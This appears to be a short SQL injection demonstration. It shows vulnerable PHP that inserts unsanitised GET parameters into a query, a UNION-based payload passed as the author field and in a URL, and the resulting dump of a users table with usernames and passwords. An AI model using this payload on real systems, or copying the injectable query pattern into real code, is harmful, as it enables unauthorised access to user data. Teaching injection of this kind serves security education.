| #ID | Title | Author |
|---|---|---|
| 1 | admin | pwd1 |
| 2 | danilo | gasd12 |
| 3 | filippo | postuy666 |
| 4 | oreste | tmrchio82 |
| 5 | luca | kd2jam |
| 6 | dario | 31lowrem |
| 7 | sebastiano | 4muniz4 |
| 8 | antonio | ciuppi75 |
| 9 | cristina | berfectqui2 |
| 10 | jessica | ioryunzfrunz |
SELECT * FROM books WHERE title = '' OR author = '' UNION SELECT * FROM users WHERE '1'='1';
if ($_GET['all'] == 1)
{
$query = "SELECT * FROM books;";
}
else if ($_GET['title'] || $_GET['author'])
{
$query = sprintf("SELECT * FROM books WHERE title = '%s' OR author = '%s';",
$_GET['title'],
$_GET['author']);
}
if ($query != null)
{
$result = mysqli_query($connection, $query);
while (($row = mysqli_fetch_row($result)) != null)
{
printf("<tr><td>%s</td><td>%s</td><td>%s</td></tr>", $row[0], $row[1], $row[2]);
}
}
Pass ' UNION SELECT * FROM users WHERE '1'='1 as author to get all users data.
The same result is obtained by using url books1.php?author='+UNION+SELECT+*+FROM+users+WHERE '1'='1.